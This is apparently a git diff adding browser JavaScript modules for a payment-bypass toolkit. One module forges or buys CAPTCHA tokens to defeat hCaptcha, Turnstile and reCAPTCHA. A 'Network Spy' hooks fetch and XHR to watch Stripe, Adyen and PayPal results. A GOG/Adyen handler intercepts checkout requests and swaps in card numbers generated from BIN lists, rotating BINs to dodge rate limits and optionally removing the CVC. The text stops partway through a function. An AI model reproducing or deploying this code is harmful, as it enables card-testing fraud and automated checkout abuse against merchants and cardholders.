'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_' + }, + turnstile: { + prefix: '0.', + length: 280, + charset: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.' + }, + recaptcha: { + prefix: '03AG', + length: 380, + charset: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_' + } + }; + + const pattern = patterns[this.type]; + if (!pattern) return null; + + let token = pattern.prefix; + const remainingLength = pattern.length - pattern.prefix.length; + + for (let i = 0; i < remainingLength; i++) { + token += pattern.charset.charAt(Math.floor(Math.random() * pattern.charset.length)); + } + + return token; + } + + injectHCaptchaToken() { + // 查找容器 + const container = this.element.closest('.h-captcha') || + document.querySelector('.h-captcha'); + + if (!container) { + this.log('No hCaptcha container found'); + return; + } + + // 主響應字段 + let responseField = container.querySelector('textarea[name="h-captcha-response"]'); + if (!responseField) { + responseField = document.createElement('textarea'); + responseField.name = 'h-captcha-response'; + responseField.id = 'h-captcha-response'; + responseField.style.display = 'none'; + container.appendChild(responseField); + } + responseField.value = this.token; + + // 通用 g-recaptcha-response 字段 + let gField = container.querySelector('textarea[name="g-recaptcha-response"]'); + if (!gField) { + gField = document.createElement('textarea'); + gField.name = 'g-recaptcha-response'; + gField.style.display = 'none'; + container.appendChild(gField); + } + gField.value = this.token; + + // 設置 data attribute + container.setAttribute('data-hcaptcha-response', this.token); + + this.log('hCaptcha token injected'); + } + + injectTurnstileToken() { + const container = this.element.closest('.cf-turnstile') || + document.querySelector('.cf-turnstile'); + + if (!container) { + this.log('No Turnstile container found'); + return; + } + + let responseField = container.querySelector('input[name="cf-turnstile-response"]'); + if (!responseField) { + responseField = document.createElement('input'); + responseField.type = 'hidden'; + responseField.name = 'cf-turnstile-response'; + container.appendChild(responseField); + } + responseField.value = this.token; + + container.setAttribute('data-cf-turnstile-solved', 'true'); + + this.log('Turnstile token injected'); + } + + injectRecaptchaToken() { + // 全局響應字段 + let gResponse = document.getElementById('g-recaptcha-response'); + if (!gResponse) { + gResponse = document.createElement('textarea'); + gResponse.id = 'g-recaptcha-response'; + gResponse.name = 'g-recaptcha-response'; + gResponse.style.display = 'none'; + document.body.appendChild(gResponse); + } + gResponse.value = this.token; + + // 容器特定字段 + const container = this.element.closest('.g-recaptcha'); + if (container) { + const widgetId = container.getAttribute('data-widget-id'); + if (widgetId) { + let widgetResponse = document.querySelector(`textarea[id="g-recaptcha-response-${widgetId}"]`); + if (!widgetResponse) { + widgetResponse = document.createElement('textarea'); + widgetResponse.id = `g-recaptcha-response-${widgetId}`; + widgetResponse.name = 'g-recaptcha-response'; + widgetResponse.style.display = 'none'; + container.appendChild(widgetResponse); + } + widgetResponse.value = this.token; + } + } + + this.log('reCAPTCHA token injected'); + } + + triggerCallbacks() { + const container = this.getContainer(); + if (!container) return; + + // 標準 DOM 事件 + ['change', 'input', 'blur'].forEach(eventType => { + container.dispatchEvent(new Event(eventType, { bubbles: true })); + }); + + // 自定義事件 + const customEvent = new CustomEvent('captcha-solved', { + detail: { token: this.token, type: this.type }, + bubbles: true + }); + container.dispatchEvent(customEvent); + document.dispatchEvent(customEvent); + + // 類型特定回調 + const callback = container.getAttribute('data-callback'); + if (callback && typeof window[callback] === 'function') { + this.log(`Calling callback: ${callback}`); + window[callback](this.token); + } + + // 全局回調 + if (this.type === 'hcaptcha' && typeof window.hcaptchaOnSuccess === 'function') { + window.hcaptchaOnSuccess(this.token); + } + + this.log('Callbacks triggered'); + } + + /** + * ======================================================================== + * 策略 3: API 求解 + * ======================================================================== + */ + + async solveViaAPI() { + if (!this.config.apiKey) { + throw new Error('API key not configured'); + } + + this.log(`Solving via API: ${this.config.apiService}`); + this.parent.stats.apiCalls++; + + const service = this.parent.apiServices[this.config.apiService]; + if (!service) { + throw new Error(`Unknown API service: ${this.config.apiService}`); + } + + switch (this.config.apiService) { + case 'capsolver': + await this.solveWithCapSolver(service); + break; + case '2captcha': + await this.solveWith2Captcha(service); + break; + case 'nopecha': + await this.solveWithNopeCHA(service); + break; + case 'nocaptchaai': + await this.solveWithNoCaptchaAI(service); + break; + } + + // 注入 API 返回的 token + if (this.token) { + if (this.type === 'hcaptcha') { + this.injectHCaptchaToken(); + } else if (this.type === 'turnstile') { + this.injectTurnstileToken(); + } else if (this.type === 'recaptcha') { + this.injectRecaptchaToken(); + } + this.triggerCallbacks(); + } + } + + async solveWithCapSolver(service) { + const taskPayload = { + clientKey: this.config.apiKey, + task: this.buildCapSolverTask() + }; + + // 創建任務 + const createResponse = await fetch(service.createTask, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify(taskPayload) + }); + + const createData = await createResponse.json(); + if (createData.errorId !== 0) { + throw new Error(`CapSolver error: ${createData.errorDescription}`); + } + + const taskId = createData.taskId; + this.log(`CapSolver task created: ${taskId}`); + + // 輪詢結果 + const maxAttempts = Math.floor(this.config.apiTimeout / 3000); + for (let i = 0; i < maxAttempts; i++) { + await this.sleep(3000); + + const resultResponse = await fetch(service.getTaskResult, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ + clientKey: this.config.apiKey, + taskId: taskId + }) + }); + + const resultData = await resultResponse.json(); + + if (resultData.status === 'ready') { + this.token = resultData.solution.gRecaptchaResponse || + resultData.solution.token; + this.log('CapSolver solved successfully'); + return; + } else if (resultData.status === 'failed') { + throw new Error(`CapSolver task failed: ${resultData.errorDescription}`); + } + + this.log(`Waiting for CapSolver... (${i + 1}/${maxAttempts})`); + } + + throw new Error('CapSolver timeout'); + } + + buildCapSolverTask() { + const baseTask = { + websiteURL: window.location.href, + websiteKey: this.sitekey + }; + + if (this.type === 'hcaptcha') { + return { + type: 'HCaptchaTaskProxyless', + ...baseTask + }; + } else if (this.type === 'turnstile') { + return { + type: 'AntiTurnstileTaskProxyless', + ...baseTask + }; + } else if (this.type === 'recaptcha') { + const version = this.detectRecaptchaVersion(); + const task = { + type: version === 3 ? 'ReCaptchaV3TaskProxyless' : 'ReCaptchaV2TaskProxyless', + ...baseTask + }; + if (version === 3) { + task.pageAction = 'submit'; + task.minScore = 0.3; + } + return task; + } + + throw new Error(`Unsupported captcha type for CapSolver: ${this.type}`); + } + + async solveWith2Captcha(service) { + const params = new URLSearchParams({ + key: this.config.apiKey, + json: 1, + pageurl: window.location.href, + sitekey: this.sitekey + }); + + if (this.type === 'hcaptcha') { + params.append('method', 'hcaptcha'); + } else if (this.type === 'turnstile') { + params.append('method', 'turnstile'); + } else if (this.type === 'recaptcha') { + const version = this.detectRecaptchaVersion(); + params.append('method', 'userrecaptcha'); + params.append('version', version === 3 ? 'v3' : 'v2'); + if (version === 3) { + params.append('action', 'submit'); + params.append('min_score', '0.3'); + } + } + + // 提交任務 + const submitResponse = await fetch(`${service.inUrl}?${params.toString()}`); + const submitData = await submitResponse.json(); + + if (submitData.status !== 1) { + throw new Error(`2Captcha error: ${submitData.request}`); + } + + const taskId = submitData.request; + this.log(`2Captcha task ID: ${taskId}`); + + // 輪詢結果 + const maxAttempts = Math.floor(this.config.apiTimeout / 5000); + for (let i = 0; i < maxAttempts; i++) { + await this.sleep(5000); + + const resultParams = new URLSearchParams({ + key: this.config.apiKey, + action: 'get', + id: taskId, + json: 1 + }); + + const resultResponse = await fetch(`${service.resUrl}?${resultParams.toString()}`); + const resultData = await resultResponse.json(); + + if (resultData.status === 1) { + this.token = resultData.request; + this.log('2Captcha solved successfully'); + return; + } else if (resultData.request !== 'CAPCHA_NOT_READY') { + throw new Error(`2Captcha error: ${resultData.request}`); + } + + this.log(`Waiting for 2Captcha... (${i + 1}/${maxAttempts})`); + } + + throw new Error('2Captcha timeout'); + } + + async solveWithNopeCHA(service) { + const payload = { + key: this.config.apiKey, + type: this.type, + sitekey: this.sitekey, + url: window.location.href + }; + + if (this.type === 'recaptcha') { + payload.v = this.detectRecaptchaVersion(); + } + + const response = await fetch(service.endpoint, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify(payload) + }); + + const data = await response.json(); + if (!data.data || !data.data.token) { + throw new Error(`NopeCHA error: ${data.message || 'Unknown error'}`); + } + + const taskToken = data.data.token; + this.log(`NopeCHA task token: ${taskToken}`); + + // 輪詢狀態 + const maxAttempts = Math.floor(this.config.apiTimeout / 3000); + for (let i = 0; i < maxAttempts; i++) { + await this.sleep(3000); + + const statusResponse = await fetch( + `${service.status}?token=${taskToken}&key=${this.config.apiKey}` + ); + const statusData = await statusResponse.json(); + + if (statusData.data && statusData.data.status === 'solved') { + this.token = statusData.data.result; + this.log('NopeCHA solved successfully'); + return; + } else if (statusData.data && statusData.data.status === 'failed') { + throw new Error('NopeCHA task failed'); + } + + this.log(`Waiting for NopeCHA... (${i + 1}/${maxAttempts})`); + } + + throw new Error('NopeCHA timeout'); + } + + async solveWithNoCaptchaAI(service) { + const payload = { + key: this.config.apiKey, + type: this.type, + sitekey: this.sitekey, + url: window.location.href + }; + + if (this.type === 'recaptcha') { + payload.version = this.detectRecaptchaVersion() === 3 ? 'v3' : 'v2'; + } + + const response = await fetch(service.solve, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify(payload) + }); + + const data = await response.json(); + if (!data.success || !data.id) { + throw new Error(`NoCaptchaAI error: ${data.error || 'Unknown error'}`); + } + + const taskId = data.id; + this.log(`NoCaptchaAI task ID: ${taskId}`); + + // 輪詢結果 + const maxAttempts = Math.floor(this.config.apiTimeout / 3000); + for (let i = 0; i < maxAttempts; i++) { + await this.sleep(3000); + + const statusResponse = await fetch( + `${service.status}?key=${this.config.apiKey}&id=${taskId}` + ); + const statusData = await statusResponse.json(); + + if (statusData.status === 'solved') { + this.token = statusData.solution; + this.log('NoCaptchaAI solved successfully'); + return; + } else if (statusData.status === 'failed') { + throw new Error('NoCaptchaAI task failed'); + } + + this.log(`Waiting for NoCaptchaAI... (${i + 1}/${maxAttempts})`); + } + + throw new Error('NoCaptchaAI timeout'); + } + + /** + * ======================================================================== + * 工具方法 + * ======================================================================== + */ + + extractSitekey() { + // 從元素本身 + let sitekey = this.element.getAttribute('data-sitekey') || + this.element.getAttribute('data-site-key'); + + if (sitekey) return sitekey; + + // 從容器 + const container = this.getContainer(); + if (container) { + sitekey = container.getAttribute('data-sitekey') || + container.getAttribute('data-site-key'); + if (sitekey) return sitekey; + } + + // 從 iframe src + if (this.element.tagName === 'IFRAME' && this.element.src) { + const match = this.element.src.match(/[?&](?:k|sitekey)=([^&]+)/); + if (match) return decodeURIComponent(match[1]); + } + + this.log('Warning: Could not extract sitekey'); + return null; + } + + extractToken() { + if (this.type === 'hcaptcha') { + const response = document.querySelector('textarea[name="h-captcha-response"]'); + return response ? response.value : null; + } + + if (this.type === 'turnstile') { + const response = document.querySelector('input[name="cf-turnstile-response"]'); + return response ? response.value : null; + } + + if (this.type === 'recaptcha') { + const response = document.getElementById('g-recaptcha-response'); + return response ? response.value : null; + } + + return null; + } + + detectRecaptchaVersion() { + // v3 特徵 + if (document.querySelector('.grecaptcha-badge')) { + return 3; + } + + // v2 特徵 + if (this.element.src && this.element.src.includes('recaptcha/api2/anchor')) { + return 2; + } + + const container = this.getContainer(); + if (container) { + const action = container.getAttribute('data-action'); + return action ? 3 : 2; + } + + return 2; + } + + getContainer() { + const containers = [ + this.element.closest('.h-captcha'), + this.element.closest('.cf-turnstile'), + this.element.closest('.g-recaptcha') + ]; + + return containers.find(c => c) || null; + } + + isVisible(element) { + if (!element) return false; + + const style = window.getComputedStyle(element); + const rect = element.getBoundingClientRect(); + + return style.display !== 'none' && + style.visibility !== 'hidden' && + parseFloat(style.opacity) > 0 && + rect.width > 0 && + rect.height > 0; + } + + sleep(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); + } + + log(...args) { + if (this.config.debug) { + console.log(`[CaptchaSolver:${this.type}]`, ...args); + } + } +} + +/** + * ============================================================================ + * 全局暴露 + * ============================================================================ + */ +window.CaptchaSolverModule = CaptchaSolverModule; + +// 自動初始化選項 +if (typeof CAPTCHA_SOLVER_AUTO_INIT !== 'undefined' && CAPTCHA_SOLVER_AUTO_INIT) { + const instance = new CaptchaSolverModule({ + enabled: true, + debug: true, + autoSolve: true + }); + instance.init(); + window.__captchaSolver = instance; +} + + + diff --git a/modules/FetchInterceptorModule.js b/modules/FetchInterceptorModule.js new file mode 100644 index 0000000..2f7c908 --- /dev/null +++ b/modules/FetchInterceptorModule.js @@ -0,0 +1,691 @@ +/** + * ============================================================================ + * Fetch Interceptor Module - Network Traffic Spy + * ============================================================================ + * 功能: + * 1. Hook window.fetch 和 XMLHttpRequest + * 2. 實時分析 Stripe/Adyen/PayPal 等支付網關的響應 + * 3. 檢測支付狀態 (成功/失敗/3DS 挑戰) + * 4. 廣播事件供其他模塊訂閱 + * 5. 支持請求/響應修改 (用於高級繞過) + * + * 作者: LO & ENI + * 使用方式: + * const spy = new FetchInterceptorModule(config); + * spy.init(); + * ============================================================================ + */ + +class FetchInterceptorModule { + constructor(config = {}) { + this.config = { + enabled: true, + debug: false, + + // 監控的網關列表 + targetGateways: [ + 'stripe.com', + 'adyen.com', + 'paypal.com', + 'checkout.com', + 'gog.com', + 'braintreegateway.com' + ], + + // 響應分析規則 + analyzeRules: { + stripe: { + successIndicators: ['succeeded', 'paid'], + failureIndicators: ['error', 'declined'], + challengeIndicators: ['requires_action', 'requires_source_action'] + }, + adyen: { + successIndicators: ['Authorised'], + failureIndicators: ['Refused', 'Error'], + challengeIndicators: ['threeDS2', 'redirect'] + } + }, + + // 請求修改 Hook (高級用途) + requestModifier: null, // function(url, options) => options + responseModifier: null, // function(url, response) => response + + // 日誌保存 + logRequests: true, + maxLogEntries: 100, + + ...config + }; + + // 內部狀態 + this.originalFetch = null; + this.originalXHROpen = null; + this.originalXHRSend = null; + this.interceptedRequests = []; + this.listeners = new Map(); + + // 綁定方法 + this.handleFetch = this.handleFetch.bind(this); + this.handleXHRLoad = this.handleXHRLoad.bind(this); + } + + /** + * 初始化攔截器 + */ + init() { + // 防止重複加載 + if (window.__FETCH_INTERCEPTOR_LOADED__) { + this.warn('Interceptor already loaded. Skipping.'); + return; + } + + this.log('Initializing Network Interceptor...'); + + // 1. Hook Fetch API + this.hookFetch(); + + // 2. Hook XMLHttpRequest + this.hookXHR(); + + // 3. 設置消息監聽 + this.setupMessageListener(); + + // 4. 暴露全局 API + this.exposeGlobalAPI(); + + // 5. 標記已加載 + window.__FETCH_INTERCEPTOR_LOADED__ = true; + + this.success('Network Interceptor Active. The Spy is Listening.'); + } + + /** + * 銷毀攔截器 + */ + destroy() { + if (this.originalFetch) { + window.fetch = this.originalFetch; + } + if (this.originalXHROpen) { + XMLHttpRequest.prototype.open = this.originalXHROpen; + } + if (this.originalXHRSend) { + XMLHttpRequest.prototype.send = this.originalXHRSend; + } + + window.__FETCH_INTERCEPTOR_LOADED__ = false; + this.log('Interceptor destroyed'); + } + + /** + * ======================================================================== + * Fetch API Hook + * ======================================================================== + */ + + hookFetch() { + if (this.originalFetch) return; + + this.originalFetch = window.fetch; + const self = this; + + window.fetch = async function(...args) { + return await self.handleFetch(this, args, self.originalFetch); + }; + + this.log('Fetch API hooked'); + } + + async handleFetch(context, args, originalFetch) { + const [resource, config = {}] = args; + const url = this.extractUrl(resource); + const method = config.method || 'GET'; + + // 記錄請求 + const requestId = this.logRequest('fetch', method, url, config.body); + + try { + // 如果配置了請求修改器,應用它 + let modifiedConfig = config; + if (this.config.requestModifier && this.isTargetUrl(url)) { + modifiedConfig = await this.config.requestModifier(url, config); + this.log('Request modified by custom hook'); + } + + // 執行原始請求 + const response = await originalFetch.apply(context, [resource, modifiedConfig]); + + // 克隆響應以供分析 (response.body 只能讀取一次) + const clonedResponse = response.clone(); + + // 異步分析響應 + this.analyzeResponse(url, clonedResponse, requestId).catch(err => { + this.error('Response analysis failed:', err); + }); + + // 如果配置了響應修改器 + if (this.config.responseModifier && this.isTargetUrl(url)) { + return await this.config.responseModifier(url, response); + } + + return response; + + } catch (error) { + this.error('Fetch error:', error); + this.updateRequestLog(requestId, { error: error.message }); + throw error; + } + } + + /** + * ======================================================================== + * XMLHttpRequest Hook + * ======================================================================== + */ + + hookXHR() { + if (this.originalXHROpen) return; + + const self = this; + const XHR = XMLHttpRequest.prototype; + + this.originalXHROpen = XHR.open; + this.originalXHRSend = XHR.send; + + // Hook open() 以捕獲 URL + XHR.open = function(method, url, ...rest) { + this.__interceptor_url = url; + this.__interceptor_method = method; + return self.originalXHROpen.apply(this, [method, url, ...rest]); + }; + + // Hook send() 以捕獲請求體和響應 + XHR.send = function(body) { + const xhr = this; + const url = xhr.__interceptor_url; + const method = xhr.__interceptor_method; + + // 記錄請求 + const requestId = self.logRequest('xhr', method, url, body); + + // 監聽加載完成 + xhr.addEventListener('load', function() { + self.handleXHRLoad(xhr, url, requestId); + }); + + // 監聽錯誤 + xhr.addEventListener('error', function() { + self.updateRequestLog(requestId, { error: 'XHR request failed' }); + }); + + return self.originalXHRSend.apply(this, [body]); + }; + + this.log('XMLHttpRequest hooked'); + } + + handleXHRLoad(xhr, url, requestId) { + try { + const responseText = xhr.responseText; + const status = xhr.status; + + // 更新日誌 + this.updateRequestLog(requestId, { + status: status, + responseSize: responseText ? responseText.length : 0 + }); + + // 分析響應 + if (this.isTargetUrl(url)) { + this.analyzeResponseText(url, responseText, status); + } + + } catch (error) { + this.error('XHR load handler error:', error); + } + } + + /** + * ======================================================================== + * 響應分析引擎 + * ======================================================================== + */ + + async analyzeResponse(url, response, requestId) { + if (!this.isTargetUrl(url)) return; + + try { + const contentType = response.headers.get('content-type'); + + if (contentType && contentType.includes('application/json')) { + const text = await response.text(); + this.analyzeResponseText(url, text, response.status); + + // 更新日誌 + this.updateRequestLog(requestId, { + status: response.status, + analyzed: true + }); + } + + } catch (error) { + this.error('Response analysis error:', error); + } + } + + analyzeResponseText(url, text, status) { + if (!text) return; + + try { + const data = JSON.parse(text); + const urlLower = url.toLowerCase(); + + // Stripe 分析 + if (urlLower.includes('stripe.com') || urlLower.includes('payment_intent') || urlLower.includes('charges')) { + this.analyzeStripeResponse(url, data, status); + } + + // Adyen 分析 + if (urlLower.includes('adyen.com') || urlLower.includes('checkout')) { + this.analyzeAdyenResponse(url, data, status); + } + + // PayPal 分析 + if (urlLower.includes('paypal.com')) { + this.analyzePayPalResponse(url, data, status); + } + + // 通用分析 (基於關鍵字) + this.analyzeGenericResponse(url, data, status); + + } catch (error) { + // 不是 JSON,忽略 + } + } + + /** + * Stripe 專用分析器 + */ + analyzeStripeResponse(url, data, status) { + this.log('Analyzing Stripe response...'); + + // 成功 + if (data.status === 'succeeded' || data.paid === true || data.status === 'paid') { + this.success('💳 Stripe Payment SUCCEEDED'); + this.broadcastEvent('PAYMENT_SUCCESS', { + gateway: 'stripe', + url: url, + details: { + id: data.id, + amount: data.amount, + currency: data.currency, + status: data.status + } + }); + } + + // 需要驗證 (3DS Challenge) + else if (data.status === 'requires_action' || data.status === 'requires_source_action') { + this.warn('🔐 Stripe 3D Secure Challenge Detected'); + + const redirectUrl = data.next_action?.redirect_to_url?.url || + data.next_action?.use_stripe_sdk?.stripe_js; + + this.broadcastEvent('3DS_CHALLENGE', { + gateway: 'stripe', + url: url, + redirectUrl: redirectUrl, + challengeType: data.next_action?.type + }); + } + + // 失敗 + else if (data.error || data.status === 'failed') { + const errorCode = data.error?.code || data.error?.decline_code || 'unknown'; + const errorMessage = data.error?.message || 'Payment failed'; + + this.warn(`❌ Stripe Payment FAILED: ${errorCode}`); + this.broadcastEvent('PAYMENT_FAILED', { + gateway: 'stripe', + url: url, + code: errorCode, + message: errorMessage, + declineCode: data.error?.decline_code + }); + } + } + + /** + * Adyen 專用分析器 + */ + analyzeAdyenResponse(url, data, status) { + this.log('Analyzing Adyen response...'); + + // 成功 + if (data.resultCode === 'Authorised') { + this.success('💳 Adyen Payment AUTHORISED'); + this.broadcastEvent('PAYMENT_SUCCESS', { + gateway: 'adyen', + url: url, + details: data + }); + } + + // 3DS 挑戰 + else if (data.action && (data.action.type === 'threeDS2' || data.action.type === 'redirect')) { + this.warn('🔐 Adyen 3DS Challenge Detected'); + this.broadcastEvent('3DS_CHALLENGE', { + gateway: 'adyen', + url: url, + action: data.action + }); + } + + // 失敗 + else if (data.resultCode === 'Refused' || data.resultCode === 'Error') { + this.warn(`❌ Adyen Payment REFUSED: ${data.refusalReason || 'unknown'}`); + this.broadcastEvent('PAYMENT_FAILED', { + gateway: 'adyen', + url: url, + code: data.refusalReason, + resultCode: data.resultCode + }); + } + } + + /** + * PayPal 專用分析器 + */ + analyzePayPalResponse(url, data, status) { + if (data.status === 'COMPLETED' || data.state === 'approved') { + this.success('💳 PayPal Payment COMPLETED'); + this.broadcastEvent('PAYMENT_SUCCESS', { + gateway: 'paypal', + url: url, + details: data + }); + } else if (data.name === 'INSTRUMENT_DECLINED') { + this.warn('❌ PayPal Payment DECLINED'); + this.broadcastEvent('PAYMENT_FAILED', { + gateway: 'paypal', + url: url, + code: data.name + }); + } + } + + /** + * 通用分析器 (關鍵字匹配) + */ + analyzeGenericResponse(url, data, status) { + const dataStr = JSON.stringify(data).toLowerCase(); + + // 成功關鍵字 + const successKeywords = ['success', 'approved', 'authorized', 'completed', 'paid']; + if (successKeywords.some(kw => dataStr.includes(kw))) { + this.success('💳 Generic Payment Success Detected'); + this.broadcastEvent('PAYMENT_SUCCESS', { + gateway: 'generic', + url: url + }); + } + + // 失敗關鍵字 + const failureKeywords = ['declined', 'rejected', 'failed', 'refused', 'insufficient']; + if (failureKeywords.some(kw => dataStr.includes(kw))) { + this.warn('❌ Generic Payment Failure Detected'); + this.broadcastEvent('PAYMENT_FAILED', { + gateway: 'generic', + url: url + }); + } + } + + /** + * ======================================================================== + * 事件廣播系統 + * ======================================================================== + */ + + broadcastEvent(eventType, payload) { + const message = { + type: `NETWORK_SPY_${eventType}`, + ...payload, + timestamp: Date.now() + }; + + // postMessage 廣播 + window.postMessage(message, '*'); + + // CustomEvent 廣播 + const event = new CustomEvent('NETWORK_SPY_EVENT', { + detail: message + }); + window.dispatchEvent(event); + + // 調用內部監聽器 + if (this.listeners.has(eventType)) { + this.listeners.get(eventType).forEach(callback => { + try { + callback(payload); + } catch (error) { + this.error('Listener callback error:', error); + } + }); + } + + this.log(`Event broadcasted: ${eventType}`); + } + + /** + * 添加事件監聽器 + */ + on(eventType, callback) { + if (!this.listeners.has(eventType)) { + this.listeners.set(eventType, []); + } + this.listeners.get(eventType).push(callback); + } + + /** + * ======================================================================== + * 請求日誌系統 + * ======================================================================== + */ + + logRequest(type, method, url, body) { + if (!this.config.logRequests) return null; + + const requestId = `${Date.now()}_${Math.random().toString(36).substr(2, 9)}`; + const entry = { + id: requestId, + type: type, + method: method, + url: url, + bodySize: body ? (typeof body === 'string' ? body.length : 'N/A') : 0, + timestamp: Date.now(), + status: null, + analyzed: false + }; + + this.interceptedRequests.push(entry); + + // 限制日誌大小 + if (this.interceptedRequests.length > this.config.maxLogEntries) { + this.interceptedRequests.shift(); + } + + return requestId; + } + + updateRequestLog(requestId, updates) { + if (!requestId) return; + + const entry = this.interceptedRequests.find(e => e.id === requestId); + if (entry) { + Object.assign(entry, updates); + } + } + + /** + * 獲取請求日誌 + */ + getRequestLog(filter = {}) { + let logs = [...this.interceptedRequests]; + + if (filter.gateway) { + logs = logs.filter(log => log.url.includes(filter.gateway)); + } + + if (filter.method) { + logs = logs.filter(log => log.method === filter.method); + } + + if (filter.analyzed !== undefined) { + logs = logs.filter(log => log.analyzed === filter.analyzed); + } + + return logs; + } + + /** + * 清空日誌 + */ + clearLog() { + this.interceptedRequests = []; + this.log('Request log cleared'); + } + + /** + * ======================================================================== + * 工具方法 + * ======================================================================== + */ + + extractUrl(resource) { + if (typeof resource === 'string') { + return resource; + } else if (resource instanceof Request) { + return resource.url; + } else if (resource instanceof URL) { + return resource.toString(); + } + return ''; + } + + isTargetUrl(url) { + if (!url) return false; + const urlLower = url.toLowerCase(); + return this.config.targetGateways.some(gateway => + urlLower.includes(gateway.toLowerCase()) + ); + } + + /** + * ======================================================================== + * 消息監聽 + * ======================================================================== + */ + + setupMessageListener() { + window.addEventListener('message', (event) => { + const data = event.data; + + if (data?.type === 'INTERCEPTOR_UPDATE_CONFIG') { + this.updateConfig(data.config); + } + + if (data?.type === 'INTERCEPTOR_GET_LOGS') { + window.postMessage({ + type: 'INTERCEPTOR_LOGS_RESPONSE', + logs: this.interceptedRequests + }, '*'); + } + + if (data?.type === 'INTERCEPTOR_CLEAR_LOGS') { + this.clearLog(); + } + }); + } + + /** + * 更新配置 + */ + updateConfig(newConfig) { + Object.assign(this.config, newConfig); + this.log('Config updated:', this.config); + } + + /** + * 獲取狀態 + */ + getStatus() { + return { + enabled: this.config.enabled, + totalRequests: this.interceptedRequests.length, + targetGateways: this.config.targetGateways, + listeners: Array.from(this.listeners.keys()) + }; + } + + /** + * ======================================================================== + * 全局 API + * ======================================================================== + */ + + exposeGlobalAPI() { + window.networkSpy = { + module: this, + on: (event, callback) => this.on(event, callback), + getLogs: (filter) => this.getRequestLog(filter), + clearLogs: () => this.clearLog(), + getStatus: () => this.getStatus(), + updateConfig: (cfg) => this.updateConfig(cfg) + }; + + this.log('Global API exposed as window.networkSpy'); + } + + /** + * ======================================================================== + * 日誌工具 + * ======================================================================== + */ + + log(...args) { + if (this.config.debug) { + console.log('[NetworkSpy]', ...args); + } + } + + success(msg) { + console.log(`%c[NetworkSpy SUCCESS] ${msg}`, 'color: green; font-weight: bold;'); + } + + warn(msg) { + console.log(`%c[NetworkSpy WARN] ${msg}`, 'color: orange; font-weight: bold;'); + } + + error(...args) { + console.error('[NetworkSpy ERROR]', ...args); + } +} + +/** + * ============================================================================ + * 全局暴露與自動初始化 + * ============================================================================ + */ +window.FetchInterceptorModule = FetchInterceptorModule; + +// 自動初始化選項 +if (typeof INTERCEPTOR_AUTO_INIT !== 'undefined' && INTERCEPTOR_AUTO_INIT) { + const instance = new FetchInterceptorModule({ + enabled: true, + debug: true + }); + instance.init(); + window.__networkSpy = instance; +} + diff --git a/modules/GogPaymentHandlerModule.js b/modules/GogPaymentHandlerModule.js new file mode 100644 index 0000000..c7658ba --- /dev/null +++ b/modules/GogPaymentHandlerModule.js @@ -0,0 +1,977 @@ +/** + * ============================================================================ + * GOG/Adyen Payment Handler Module (Modularized Version) + * ============================================================================ + * 功能: + * 1. 攔截 GOG/Adyen 支付請求 + * 2. 解析多種請求體格式 (JSON/FormData/URLSearchParams) + * 3. 根據 BIN 列表自動生成有效卡號 + * 4. 替換原始請求中的卡號、有效期、CVC + * 5. 支持 CVC 移除邏輯 + * 6. 輪詢多個 BIN 以繞過頻率限制 + * + * 使用方式: + * const handler = new GogPaymentHandlerModule(config); + * handler.init(); + * ============================================================================ + */ + +class GogPaymentHandlerModule { + constructor(config = {}) { + // 默認配置 + this.config = { + enabled: true, // 是否啟用模塊 + debug: false, // 調試模式 + removeCvc: false, // 是否移除 CVC + binList: [], // BIN 列表 (例: ['424242', '378282']) + autoRotateBin: true, // 自動輪詢 BIN + targetDomains: [ // 目標域名 + 'gog.com', + 'adyen.com', + 'checkout.com' + ], + targetKeywords: [ // URL 關鍵詞 + 'payment', + 'checkout', + 'adyen', + 'paymentMethods', + 'payments' + ], + cardFields: { // 卡字段映射 + number: ['cardNumber', 'number', 'card.number', 'encryptedCardNumber'], + month: ['expiryMonth', 'month', 'card.expiryMonth', 'exp_month'], + year: ['expiryYear', 'year', 'card.expiryYear', 'exp_year'], + cvc: ['cvc', 'cvv', 'securityCode', 'card.cvc'] + }, + saveToStorage: true, // 保存最後使用的卡信息 + storageKeys: { + lastCard: 'gogBypasserLastCardString', + lastCardJson: 'gogBypasserLastCardJSON', + binIndex: 'gogBypasserBinIndex' + }, + ...config + }; + + // 運行時狀態 + this.currentBinIndex = 0; + this.lastResetTime = Date.now(); + this.processedRequests = new Set(); + this.cardGenerator = null; + + // 原始方法引用 + this.originalFetch = null; + this.originalXHROpen = null; + this.originalXHRSend = null; + + // 綁定方法 + this.handleFetch = this.handleFetch.bind(this); + this.handleXHR = this.handleXHR.bind(this); + } + + /** + * 初始化模塊 + */ + init() { + this.log('Initializing GOG Payment Handler Module...'); + + // 1. 加載 BIN 索引 + this.loadBinIndex(); + + // 2. 初始化卡號生成器 + this.initCardGenerator(); + + // 3. Hook 網絡請求 + this.hookFetch(); + this.hookXHR(); + + // 4. 註冊消息監聽 + this.setupMessageListener(); + + // 5. 暴露全局接口 + this.exposeGlobalAPI(); + + this.log('Module initialized successfully'); + } + + /** + * 銷毀模塊 + */ + destroy() { + if (this.originalFetch) { + window.fetch = this.originalFetch; + } + if (this.originalXHROpen) { + XMLHttpRequest.prototype.open = this.originalXHROpen; + } + if (this.originalXHRSend) { + XMLHttpRequest.prototype.send = this.originalXHRSend; + } + + this.log('Module destroyed'); + } + + /** + * ======================================================================== + * BIN 管理 + * ======================================================================== + */ + + /** + * 加載 BIN 索引 + */ + loadBinIndex() { + try { + if (this.config.saveToStorage && window.localStorage) { + const saved = localStorage.getItem(this.config.storageKeys.binIndex); + if (saved) { + this.currentBinIndex = parseInt(saved, 10) || 0; + } + } + } catch (e) { + this.warn('Failed to load BIN index from storage:', e); + } + } + + /** + * 保存 BIN 索引 + */ + saveBinIndex() { + try { + if (this.config.saveToStorage && window.localStorage) { + localStorage.setItem( + this.config.storageKeys.binIndex, + String(this.currentBinIndex) + ); + } + } catch (e) { + // Ignore + } + } + + /** + * 獲取下一個 BIN + */ + getNextBin() { + if (this.config.binList.length === 0) { + this.warn('BIN list is empty'); + return null; + } + + const bin = 